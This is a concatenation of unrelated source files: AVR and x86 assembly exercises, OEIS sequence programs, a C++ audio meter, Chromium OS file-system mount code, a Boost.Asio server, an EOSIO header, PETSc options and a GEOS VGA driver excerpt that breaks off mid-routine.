BRLO DT_MM_ELSEIF4 ; GoTo: DT_MM_ELSEIF4
// Handle Aug-Dec: ---
MOV mpr, MO ; <mpr> = <MO>
ASR mpr ; <mpr> = <mpr> / 2
BRCS DT_MM_30DAY ; if <carry-bit> = 0: GoTo: DT_MM_30DAY
RJMP DT_MM_31DAY ; else: GoTo: DT_MM_31DAY
DT_MM_ELSEIF4: ; DT_MM_ELSEIF4
// Handle Jan-Jul: ---
MOV mpr, MO ; <mpr> = <MO>
ASR mpr ; <mpr> = <mpr> / 2
BRCC DT_MM_30DAY ; if <carry-bit> = 1: GoTo: DT_MM_30DAY
RJMP DT_MM_31DAY ; else: GoTo: DT_MM_31DAY
DT_MM_30DAY: ; DT_MM_30DAY
// The Month has 30 Days: ---
LDI DD, $01 ; <DD> = 1
INC MO ; increment <MO>
RJMP DT_MM_DAYEND ; GoTo: DT_MM_DAYEND
DT_MM_31DAY: ; DT_MM_31DAY
// The Month has 31 Days: ---
CPI MO, $1E ; if <MO> < 30:
BRLO DT_MM_DAYEND ; GoTo: DT_MM_DAYEND
LDI DD, 1 ; <DD> = 1
INC MO ; increment <MO>
RJMP DT_MM_DAYEND ; GoTo: DT_MM_DAYEND
DT_MM_DAYEND: ; End Day calc
RJMP DT_MM_ENDIF1 ; GoTo: DT_MM_ENDIF1
DT_MM_ELSEIF1: ; DT_MM_ELSEIF1
// Handle February: ---
MOV mpr, YY ; <mpr> = <YY>
ASR mpr ; <mpr> = <mpr> / 2
BRCS DT_MM_ELSEIF2 ; if <carry-bit> == 2: GoTo: DT_MM_ELSEIF2
ASR mpr ; <mpr> = <mpr> / 2
BRCS DT_MM_ELSEIF2 ; if <carry-bit> == 2: GoTo: DT_MM_ELSEIF2
// Handle leap year: ---
CPI DD, $1D ; if <DD> == 29:
BRNE DT_MM_ENDIF3 ; GoTo: DT_MM_ENDIF3
// Wayt one more Day (because of leap year): ---
LDI DD, $01 ; <DD> = 1
INC MO ; increment <MO>
DT_MM_ENDIF3: ; DT_MM_ENDIF3
RJMP DT_MM_ENDIF2 ; GoTo: DT_MM_ENDIF2
DT_MM_ELSEIF2: ; DT_MM_ELSEIF2
// Handle non leap year: ---
LDI DD, $01 ; <DD> = 1
INC MO ; increment <MO>
DT_MM_ENDIF2: ; DT_MM_ENDIF2
DT_MM_ENDIF1: ; DT_MM_ENDIF1
// Stack loading: ---
POP mpr ; load <mpr> from stack
RET ; RETURN: <void>
|
#pragma once
#include "AudioVolumeMeter.hpp"
class AudioVolumeMeter_Peak : public AudioVolumeMeter{
AudioInOut inOut_;
uint8_t recentMaxLevel =0;
decltype(std::chrono::system_clock::now()) lastTimeStamp = std::chrono::system_clock::now();
public:
AudioVolumeMeter_Peak(AudioInOut inOut) :inOut_(inOut) {}
AudioIoVolume calculate(const PcmSegment &buffer) {
AudioIoVolume::Level currentLevel = 0;
int currentL = 0;
for (auto &b : buffer) {
auto absB = std::abs(b);
if (absB > currentL) {
currentL = absB;
}
}
currentLevel = (currentL*AudioIoVolume::MAX_VOLUME_LEVEL >> 15);
if (currentLevel > AudioIoVolume::MAX_VOLUME_LEVEL-1) {
currentLevel = AudioIoVolume::MAX_VOLUME_LEVEL-1;
}
auto now = std::chrono::system_clock::now();
auto elapsed = now - lastTimeStamp;
// hold on 1s
if (elapsed > std::chrono::seconds(1)) {
recentMaxLevel = 0;
lastTimeStamp = std::chrono::system_clock::now();
}
if (currentLevel > recentMaxLevel) {
recentMaxLevel = currentLevel;
// re calculate hold-on time
lastTimeStamp = std::chrono::system_clock::now();
}
return{ inOut_, currentLevel, recentMaxLevel };
}
}; |
; A174138: Numbers congruent to {5,6,7,8,9,15,16,17,18,19} mod 25.
; 5,6,7,8,9,15,16,17,18,19,30,31,32,33,34,40,41,42,43,44,55,56,57,58,59,65,66,67,68,69,80,81,82,83,84,90,91,92,93,94,105,106,107,108,109,115,116,117,118,119,130,131,132,133,134,140,141,142,143,144,155,156,157
mov $2,$0
div $0,5
mul $0,3
add $0,4
div $0,2
add $0,3
mov $1,5
mul $1,$0
sub $1,20
add $1,$2
|
data segment
tab db 'maison$'
msg db 'la chaine en inverser :$'
ends
stack segment
dw 128 dup(0)
ends
code segment
start:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov ax, data
mov ds, ax
mov es, ax
mov ah,09h
mov dl,offset msg
int 21h
mov si,0
mov ax,0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
boucle:
cmp al,36
je boucle3
mov al,tab[si]
push ax
inc si
jmp boucle
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
boucle3:
pop dx
dec si
boucle1:
pop dx
mov ah,02h
int 21h
dec si
cmp si,0
jne boucle1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov ax, 4c00h
int 21h
ends
end start ; set entry point and stop the assembler.
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "webkit/browser/chromeos/fileapi/cros_mount_point_provider.h"
#include "base/logging.h"
#include "base/memory/scoped_ptr.h"
#include "base/message_loop.h"
#include "base/path_service.h"
#include "base/strings/stringprintf.h"
#include "base/strings/utf_string_conversions.h"
#include "base/synchronization/lock.h"
#include "chromeos/dbus/cros_disks_client.h"
#include "third_party/WebKit/public/platform/WebCString.h"
#include "third_party/WebKit/public/platform/WebFileSystem.h"
#include "third_party/WebKit/public/platform/WebString.h"
#include "webkit/browser/chromeos/fileapi/file_access_permissions.h"
#include "webkit/browser/chromeos/fileapi/remote_file_stream_writer.h"
#include "webkit/browser/chromeos/fileapi/remote_file_system_operation.h"
#include "webkit/browser/fileapi/async_file_util_adapter.h"
#include "webkit/browser/fileapi/copy_or_move_file_validator.h"
#include "webkit/browser/fileapi/external_mount_points.h"
#include "webkit/browser/fileapi/file_system_context.h"
#include "webkit/browser/fileapi/file_system_file_stream_reader.h"
#include "webkit/browser/fileapi/file_system_operation_context.h"
#include "webkit/browser/fileapi/file_system_task_runners.h"
#include "webkit/browser/fileapi/file_system_url.h"
#include "webkit/browser/fileapi/isolated_context.h"
#include "webkit/browser/fileapi/isolated_file_util.h"
#include "webkit/browser/fileapi/local_file_stream_writer.h"
#include "webkit/browser/fileapi/local_file_system_operation.h"
namespace {
const char kChromeUIScheme[] = "chrome";
} // namespace
namespace chromeos {
// static
bool CrosMountPointProvider::CanHandleURL(const fileapi::FileSystemURL& url) {
if (!url.is_valid())
return false;
return url.type() == fileapi::kFileSystemTypeNativeLocal ||
url.type() == fileapi::kFileSystemTypeRestrictedNativeLocal ||
url.type() == fileapi::kFileSystemTypeDrive;
}
CrosMountPointProvider::CrosMountPointProvider(
scoped_refptr<quota::SpecialStoragePolicy> special_storage_policy,
scoped_refptr<fileapi::ExternalMountPoints> mount_points,
fileapi::ExternalMountPoints* system_mount_points)
: special_storage_policy_(special_storage_policy),
file_access_permissions_(new FileAccessPermissions()),
local_file_util_(new fileapi::AsyncFileUtilAdapter(
new fileapi::IsolatedFileUtil())),
mount_points_(mount_points),
system_mount_points_(system_mount_points) {
}
CrosMountPointProvider::~CrosMountPointProvider() {
}
void CrosMountPointProvider::AddSystemMountPoints() {
// RegisterFileSystem() is no-op if the mount point with the same name
// already exists, hence it's safe to call without checking if a mount
// point already exists or not.
// TODO(satorux): "Downloads" directory should probably be per-profile. For
// this to be per-profile, a unique directory path should be chosen per
// profile, and the mount point should be added to
// mount_points_. crbug.com/247236
base::FilePath home_path;
if (PathService::Get(base::DIR_HOME, &home_path)) {
system_mount_points_->RegisterFileSystem(
"Downloads",
fileapi::kFileSystemTypeNativeLocal,
home_path.AppendASCII("Downloads"));
}
system_mount_points_->RegisterFileSystem(
"archive",
fileapi::kFileSystemTypeNativeLocal,
chromeos::CrosDisksClient::GetArchiveMountPoint());
system_mount_points_->RegisterFileSystem(
"removable",
fileapi::kFileSystemTypeNativeLocal,
chromeos::CrosDisksClient::GetRemovableDiskMountPoint());
system_mount_points_->RegisterFileSystem(
"oem",
fileapi::kFileSystemTypeRestrictedNativeLocal,
base::FilePath(FILE_PATH_LITERAL("/usr/share/oem")));
}
bool CrosMountPointProvider::CanHandleType(fileapi::FileSystemType type) const {
switch (type) {
case fileapi::kFileSystemTypeExternal:
case fileapi::kFileSystemTypeDrive:
case fileapi::kFileSystemTypeRestrictedNativeLocal:
case fileapi::kFileSystemTypeNativeLocal:
case fileapi::kFileSystemTypeNativeForPlatformApp:
return true;
default:
return false;
}
}
void CrosMountPointProvider::OpenFileSystem(
const GURL& origin_url,
fileapi::FileSystemType type,
fileapi::OpenFileSystemMode mode,
const OpenFileSystemCallback& callback) {
DCHECK(fileapi::IsolatedContext::IsIsolatedType(type));
// Nothing to validate for external filesystem.
callback.Run(base::PLATFORM_FILE_OK);
}
fileapi::FileSystemQuotaUtil* CrosMountPointProvider::GetQuotaUtil() {
// No quota support.
return NULL;
}
void CrosMountPointProvider::DeleteFileSystem(
const GURL& origin_url,
fileapi::FileSystemType type,
fileapi::FileSystemContext* context,
const DeleteFileSystemCallback& callback) {
NOTREACHED();
callback.Run(base::PLATFORM_FILE_ERROR_INVALID_OPERATION);
}
bool CrosMountPointProvider::IsAccessAllowed(
const fileapi::FileSystemURL& url) const {
if (!url.is_valid())
return false;
// Permit access to mount points from internal WebUI.
const GURL& origin_url = url.origin();
if (origin_url.SchemeIs(kChromeUIScheme))
return true;
// No extra check is needed for isolated file systems.
if (url.mount_type() == fileapi::kFileSystemTypeIsolated)
return true;
if (!CanHandleURL(url))
return false;
std::string extension_id = origin_url.host();
// Check first to make sure this extension has fileBrowserHander permissions.
if (!special_storage_policy_->IsFileHandler(extension_id))
return false;
return file_access_permissions_->HasAccessPermission(extension_id,
url.virtual_path());
}
void CrosMountPointProvider::GrantFullAccessToExtension(
const std::string& extension_id) {
DCHECK(special_storage_policy_->IsFileHandler(extension_id));
if (!special_storage_policy_->IsFileHandler(extension_id))
return;
std::vector<fileapi::MountPoints::MountPointInfo> files;
mount_points_->AddMountPointInfosTo(&files);
system_mount_points_->AddMountPointInfosTo(&files);
for (size_t i = 0; i < files.size(); ++i) {
file_access_permissions_->GrantAccessPermission(
extension_id,
base::FilePath::FromUTF8Unsafe(files[i].name));
}
}
void CrosMountPointProvider::GrantFileAccessToExtension(
const std::string& extension_id, const base::FilePath& virtual_path) {
// All we care about here is access from extensions for now.
DCHECK(special_storage_policy_->IsFileHandler(extension_id));
if (!special_storage_policy_->IsFileHandler(extension_id))
return;
std::string id;
fileapi::FileSystemType type;
base::FilePath path;
if (!mount_points_->CrackVirtualPath(virtual_path, &id, &type, &path) &&
!system_mount_points_->CrackVirtualPath(virtual_path,
&id, &type, &path)) {
return;
}
if (type == fileapi::kFileSystemTypeRestrictedNativeLocal) {
LOG(ERROR) << "Can't grant access for restricted mount point";
return;
}
file_access_permissions_->GrantAccessPermission(extension_id, virtual_path);
}
void CrosMountPointProvider::RevokeAccessForExtension(
const std::string& extension_id) {
file_access_permissions_->RevokePermissions(extension_id);
}
std::vector<base::FilePath> CrosMountPointProvider::GetRootDirectories() const {
std::vector<fileapi::MountPoints::MountPointInfo> mount_points;
mount_points_->AddMountPointInfosTo(&mount_points);
system_mount_points_->AddMountPointInfosTo(&mount_points);
std::vector<base::FilePath> root_dirs;
for (size_t i = 0; i < mount_points.size(); ++i)
root_dirs.push_back(mount_points[i].path);
return root_dirs;
}
fileapi::FileSystemFileUtil* CrosMountPointProvider::GetFileUtil(
fileapi::FileSystemType type) {
DCHECK(type == fileapi::kFileSystemTypeNativeLocal ||
type == fileapi::kFileSystemTypeRestrictedNativeLocal);
return local_file_util_->sync_file_util();
}
fileapi::AsyncFileUtil* CrosMountPointProvider::GetAsyncFileUtil(
fileapi::FileSystemType type) {
DCHECK(type == fileapi::kFileSystemTypeNativeLocal ||
type == fileapi::kFileSystemTypeRestrictedNativeLocal);
return local_file_util_.get();
}
fileapi::CopyOrMoveFileValidatorFactory*
CrosMountPointProvider::GetCopyOrMoveFileValidatorFactory(
fileapi::FileSystemType type, base::PlatformFileError* error_code) {
DCHECK(error_code);
*error_code = base::PLATFORM_FILE_OK;
return NULL;
}
fileapi::FilePermissionPolicy CrosMountPointProvider::GetPermissionPolicy(
const fileapi::FileSystemURL& url, int permissions) const {
if (url.type() == fileapi::kFileSystemTypeRestrictedNativeLocal &&
(permissions & ~fileapi::kReadFilePermissions)) {
// Restricted file system is read-only.
return fileapi::FILE_PERMISSION_ALWAYS_DENY;
}
if (!IsAccessAllowed(url))
return fileapi::FILE_PERMISSION_ALWAYS_DENY;
// Permit access to mount points from internal WebUI.
const GURL& origin_url = url.origin();
if (origin_url.SchemeIs(kChromeUIScheme))
return fileapi::FILE_PERMISSION_ALWAYS_ALLOW;
if (url.mount_type() == fileapi::kFileSystemTypeIsolated) {
// Permissions in isolated filesystems should be examined with
// FileSystem permission.
return fileapi::FILE_PERMISSION_USE_FILESYSTEM_PERMISSION;
}
// Also apply system's file permission by default.
return fileapi::FILE_PERMISSION_USE_FILE_PERMISSION;
}
fileapi::FileSystemOperation* CrosMountPointProvider::CreateFileSystemOperation(
const fileapi::FileSystemURL& url,
fileapi::FileSystemContext* context,
base::PlatformFileError* error_code) const {
DCHECK(url.is_valid());
if (url.type() == fileapi::kFileSystemTypeDrive) {
fileapi::RemoteFileSystemProxyInterface* remote_proxy =
GetRemoteProxy(url.filesystem_id());
if (!remote_proxy) {
*error_code = base::PLATFORM_FILE_ERROR_NOT_FOUND;
return NULL;
}
return new chromeos::RemoteFileSystemOperation(remote_proxy);
}
DCHECK(url.type() == fileapi::kFileSystemTypeNativeLocal ||
url.type() == fileapi::kFileSystemTypeRestrictedNativeLocal);
scoped_ptr<fileapi::FileSystemOperationContext> operation_context(
new fileapi::FileSystemOperationContext(context));
operation_context->set_root_path(GetFileSystemRootPath(url));
return new fileapi::LocalFileSystemOperation(url, context,
operation_context.Pass());
}
scoped_ptr<webkit_blob::FileStreamReader>
CrosMountPointProvider::CreateFileStreamReader(
const fileapi::FileSystemURL& url,
int64 offset,
const base::Time& expected_modification_time,
fileapi::FileSystemContext* context) const {
DCHECK(url.is_valid());
if (url.type() == fileapi::kFileSystemTypeDrive) {
fileapi::RemoteFileSystemProxyInterface* remote_proxy =
GetRemoteProxy(url.filesystem_id());
if (!remote_proxy)
return scoped_ptr<webkit_blob::FileStreamReader>();
return remote_proxy->CreateFileStreamReader(
context->task_runners()->file_task_runner(),
url, offset, expected_modification_time);
}
return scoped_ptr<webkit_blob::FileStreamReader>(
new fileapi::FileSystemFileStreamReader(
context, url, offset, expected_modification_time));
}
scoped_ptr<fileapi::FileStreamWriter>
CrosMountPointProvider::CreateFileStreamWriter(
const fileapi::FileSystemURL& url,
int64 offset,
fileapi::FileSystemContext* context) const {
DCHECK(url.is_valid());
if (url.type() == fileapi::kFileSystemTypeDrive) {
fileapi::RemoteFileSystemProxyInterface* remote_proxy =
GetRemoteProxy(url.filesystem_id());
if (!remote_proxy)
return scoped_ptr<fileapi::FileStreamWriter>();
return scoped_ptr<fileapi::FileStreamWriter>(
new fileapi::RemoteFileStreamWriter(
remote_proxy, url, offset,
context->task_runners()->file_task_runner()));
}
if (url.type() == fileapi::kFileSystemTypeRestrictedNativeLocal)
return scoped_ptr<fileapi::FileStreamWriter>();
DCHECK(url.type() == fileapi::kFileSystemTypeNativeLocal);
return scoped_ptr<fileapi::FileStreamWriter>(
new fileapi::LocalFileStreamWriter(
context->task_runners()->file_task_runner(), url.path(), offset));
}
bool CrosMountPointProvider::GetVirtualPath(
const base::FilePath& filesystem_path,
base::FilePath* virtual_path) {
return mount_points_->GetVirtualPath(filesystem_path, virtual_path) ||
system_mount_points_->GetVirtualPath(filesystem_path, virtual_path);
}
fileapi::RemoteFileSystemProxyInterface* CrosMountPointProvider::GetRemoteProxy(
const std::string& mount_name) const {
fileapi::RemoteFileSystemProxyInterface* proxy =
mount_points_->GetRemoteFileSystemProxy(mount_name);
if (proxy)
return proxy;
return system_mount_points_->GetRemoteFileSystemProxy(mount_name);
}
base::FilePath CrosMountPointProvider::GetFileSystemRootPath(
const fileapi::FileSystemURL& url) const {
DCHECK(fileapi::IsolatedContext::IsIsolatedType(url.mount_type()));
if (!url.is_valid())
return base::FilePath();
base::FilePath root_path;
std::string mount_name = url.filesystem_id();
if (!mount_points_->GetRegisteredPath(mount_name, &root_path) &&
!system_mount_points_->GetRegisteredPath(mount_name, &root_path)) {
return base::FilePath();
}
return root_path.DirName();
}
} // namespace chromeos
|
#include <boost/asio.hpp>
#include <boost/bind.hpp>
#include <boost/shared_ptr.hpp>
#include <boost/enable_shared_from_this.hpp>
#include <iostream>
using boost::asio::ip::tcp;
#define max_len 1024
class clientSession :public boost::enable_shared_from_this<clientSession> {
public:
clientSession(boost::asio::io_service& ioservice) :m_socket(ioservice) {
memset(data_, 0, sizeof(data_));
}
~clientSession() { }
tcp::socket& socket() {
return m_socket;
}
void start() {
boost::asio::async_write( m_socket, boost::asio::buffer("link successed!"),
boost::bind(&clientSession::handle_write,shared_from_this(),
boost::asio::placeholders::error));
m_socket.async_read_some( boost::asio::buffer(data_,max_len),
boost::bind(&clientSession::handle_read,
shared_from_this(),
boost::asio::placeholders::error));
}
private:
void handle_write(const boost::system::error_code& error)
{
if(error)
{
m_socket.close();
}
}
void handle_read(const boost::system::error_code& error)
{
if(!error)
{
std::cout << data_ << std::endl;
//boost::asio::async_read(m_socket,boost::asio::buffer(data_,max_len),
// boost::bind(&clientSession::handle_read,shared_from_this(),
// boost::asio::placeholders::error));
m_socket.async_read_some(boost::asio::buffer(data_,max_len),
boost::bind(&clientSession::handle_read,shared_from_this(),
boost::asio::placeholders::error));
}
else
{
m_socket.close();
}
}
private:
tcp::socket m_socket;
char data_[max_len];
};
class serverApp {
typedef boost::shared_ptr<clientSession> session_ptr;
public:
serverApp(boost::asio::io_service& ioservice,tcp::endpoint& endpoint)
:m_ioservice(ioservice),
acceptor_(ioservice,endpoint)
{
session_ptr new_session(new clientSession(ioservice));
acceptor_.async_accept(new_session->socket(), boost::bind(&serverApp::handle_accept,this,boost::asio::placeholders::error, new_session));
}
~serverApp() { }
private:
void handle_accept(const boost::system::error_code& error,session_ptr& session)
{
if(!error)
{
std::cout << "get a new client!" << std::endl;
//实现对每个客户端的数据处理
session->start();
//在这就应该看出为什么要封session类了吧，每一个session就是一个客户端
session_ptr new_session(new clientSession(m_ioservice));
acceptor_.async_accept(new_session->socket(), boost::bind(&serverApp::handle_accept,this,boost::asio::placeholders::error, new_session));
}
}
private:
boost::asio::io_service& m_ioservice;
tcp::acceptor acceptor_;
};
int main(int argc, char* argv[]) {
boost::asio::io_service myIoService;
tcp::endpoint endPoint(tcp::v4(), 8100);
serverApp sa(myIoService,endPoint);
myIoService.run();
return 0;
}
|
#pragma once
#include <eosiolib/asset.hpp>
#include <eosiolib/eosio.hpp>
#include "../eosio.token/eosio.token.hpp"
namespace eosio
{
class escrow : public contract
{
public:
escrow(account_name self) : contract(self) {}
/// @abi action
void eshello(account_name user);
/// @abi action
void esrelease(account_name agent,
account_name to,
asset quantity);
/// @abi action
void estransfer(account_name from,
account_name agent,
asset quantity);
private:
};
} // namespace eosio
|
-rans2p_ksp_type gmres -rans2p_pc_type asm -rans2p_pc_asm_type basic -rans2p_ksp_max_it 2000
-rans2p_ksp_gmres_modifiedgramschmidt -rans2p_ksp_gmres_restart 300 -rans2p_sub_ksp_type preonly -rans2p_sub_pc_factor_mat_solver_package superlu -rans2p_ksp_knoll -rans2p_sub_pc_type lu
-ncls_ksp_type gmres -ncls_pc_type hypre -ncls_pc_hypre_type boomeramg -ncls_ksp_gmres_restart 300 -ncls_ksp_knoll -ncls_ksp_max_it 2000
-vof_ksp_type gmres -vof_pc_type hypre -vof_pc_hypre_type boomeramg -vof_ksp_gmres_restart 300 -vof_ksp_knoll -vof_ksp_max_it 2000
-rdls_ksp_type gmres -rdls_pc_type asm -rdls_pc_asm_type basic -rdls_ksp_gmres_modifiedgramschmidt -rdls_ksp_gmres_restart 300 -rdls_ksp_knoll -rdls_sub_ksp_type preonly -rdls_sub_pc_factor_mat_solver_package superlu -rdls_sub_pc_type lu -rdls_ksp_max_it 2000
-mcorr_ksp_type cg -mcorr_pc_type hypre -mcorr_pc_hypre_type boomeramg -mcorr_ksp_max_it 2000
-mesh_ksp_type cg -mesh_pc_type asm -mesh_pc_asm_type basic -mesh_ksp_max_it 2000
-mesh_sub_ksp_type preonly -mesh_sub_pc_factor_mat_solver_package superlu -mesh_ksp_knoll -mesh_sub_pc_type lu
-am_ksp_type cg -am_ksp_constant_null_space -am_pc_type hypre -am_pc_hypre_type boomeramg -am_pc_factor_shift_type NONZERO -am_pc_factor_shift_amount 1.0e-10
-mesh2_ksp_type cg -mesh2_pc_type hypre -mesh2_pc_hypre_type boomeramg
-log_summary
|
push ebp
mov ebp,esp
push ecx
call dword ptr ds:[114D1BCh]
mov ecx,dword ptr [dev]
and eax,3Fh
shl eax,0Ch
xor eax,ecx
mov dword ptr [dev],eax
mov esp,ebp
pop ebp
ret |
; A167817: Period 4: repeat [1, 3, 3, 3].
; 1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1,3,3,3,1
mov $1,$0
gcd $1,4
trn $1,3
gcd $1,3
|
#include <QCoreApplication>
#include <QDebug>
#include "AutoscoperMockMainWindow.h"
#include "Socket.h"
int main(int argc, char* argv[])
{
QCoreApplication app(argc, argv);
int port = 30007;
qInfo() << "AutoscoperMockServer listening on port" << port;
AutoscoperMainWindow widget;
Socket* socket = new Socket(&widget, port);
return app.exec();
}
|
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: VGA Video Driver
FILE: vgaAdmin.asm
AUTHOR: Jim DeFrisco
ROUTINES:
Name Description
---- -----------
VidScreenOff Turn off video output
VidScreenOn Turn on video output
VidTestVGA Test for existance of hardware
VidSetVGA Set 640x480 16-color mode
REVISION HISTORY:
Name Date Description
---- ---- -----------
jad 12/88 initial version
jim 10/91 changed to moveable modules
DESCRIPTION:
This file contains routines to implement some of the administrative
parts of the driver.
$Id: vgaAdmin.asm,v 1.2 98/03/04 04:38:00 joon Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
VideoMisc segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidScreenOff
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Disable video output, for a screen saver
CALLED BY: GLOBAL
PASS: nothing
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Disable the video output
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 12/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidScreenOff proc far
.enter
; first see if the screen is already blank
dec ss:videoEnabled ; is it enabled
js tooFar ; oops, called it to often
jne done ; someone still wants it off
; now do the disable thing.
mov ah, ALT_SELECT ; choose BIOS function number
mov bl, VIDEO_SCREEN_ON_OFF ; choose sub-function number
mov al, VGA_DISABLE_VIDEO ; disable it this time
int VIDEO_BIOS
done:
.leave
ret
; decremented too far, get back to zero
tooFar:
mov ss:videoEnabled, 0
jmp done
VidScreenOff endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidScreenOn
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Enable video output, for a screen saver
CALLED BY: GLOBAL
PASS: nothing
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Disable the video output
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 12/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidScreenOn proc far
.enter
; first see if the screen is already enabled
inc ss:videoEnabled ; check for turn on
cmp ss:videoEnabled, 1 ; is it enabled
jg done ; yes, don't do it again
mov ss:videoEnabled, 1 ; no, make sure it;s one
; enable video signal on card
mov ah, ALT_SELECT ; choose BIOS function number
mov bl, VIDEO_SCREEN_ON_OFF ; choose sub-function number
mov al, VGA_ENABLE_VIDEO ; disable video signal
int VIDEO_BIOS
done:
.leave
ret
VidScreenOn endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidTestVGA
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Test for the existance of a device
CALLED BY: GLOBAL
DriverStrategy
PASS: nothing
RETURN: ax - VideoPresent enum
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
check for the device
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 08/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidTestVGA proc near
uses bx
.enter
; use the Video Display Combination bios call to determine
; if VGA is present
mov ah, 1ah ; function code
clr al ; al = 0 >> Get Display Comb
int VIDEO_BIOS ; make call to bios
cmp al, 1ah ; call successful ?
mov ax, DP_NOT_PRESENT ; assume not found (no use CLR)
jne exit ; no, bios doesn't support call
; the call was successful, now check for the type of device
cmp bl, 7 ; 7,8 = VGA (superset of MCGA)
jb exit ; must be MCGA or VGA
cmp bl, 8 ; 7,8 = VGA (superset of MCGA)
ja exit ; must be MCGA or VGA
mov ax, DP_PRESENT ; signal found
clc ; and happy...
exit:
.leave
ret
VidTestVGA endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidSetVGA
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize 640x480 16-color mode
CALLED BY: GLOBAL
PASS: nothing
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
use BIOS
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 03/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidSetVGA proc near
uses ax,dx, ds
.enter
; check with the Kernel to see if the Loader already switched
; to this video mode, to display the splash screen
segmov ds, dgroup, ax
test ds:[driverState], mask VS_IGNORE_SPLASH_MODE
jnz setIt
mov ax, SGIT_CURRENT_SIMPLE_GRAPHICS_MODE
call SysGetInfo ;al = SysSimpleGraphicsMode
;set by the loader (if any)
cmp al, SSGM_VGA ;VGA?
je done ;skip to end if so...
;set the video mode for the VGA card
setIt:
mov ah, SET_VMODE ; function # to set video mode
mov al, GR0F_6448 ; set up 640x480 graphics mode
int VIDEO_BIOS ; use video BIOS call
done:
.leave
ret
VidSetVGA endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidSet16Gray
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets a 4- or 8- or 16-level greyscale palette
CALLED BY: GLOBAL
PASS: nada
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 4/ 5/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidSet16GrayScale proc near uses dx
.enter
call VidSetVGA
; Now, set the palette appropriately
mov dx, offset Palette16
call SetPalette
.leave
ret
VidSet16GrayScale endp
VidSet8GrayScale proc near uses dx
.enter
call VidSetVGA
; Now, set the palette appropriately
mov dx, offset Palette8
call SetPalette
.leave
ret
VidSet8GrayScale endp
VidSet4GrayScale proc near uses dx
.enter
call VidSetVGA
; Now, set the palette appropriately
mov dx, offset Palette4
call SetPalette
.leave
ret
VidSet4GrayScale endp
VidSetVGAII proc near uses dx
.enter
call VidSetVGA
; Now, set the palette appropriately
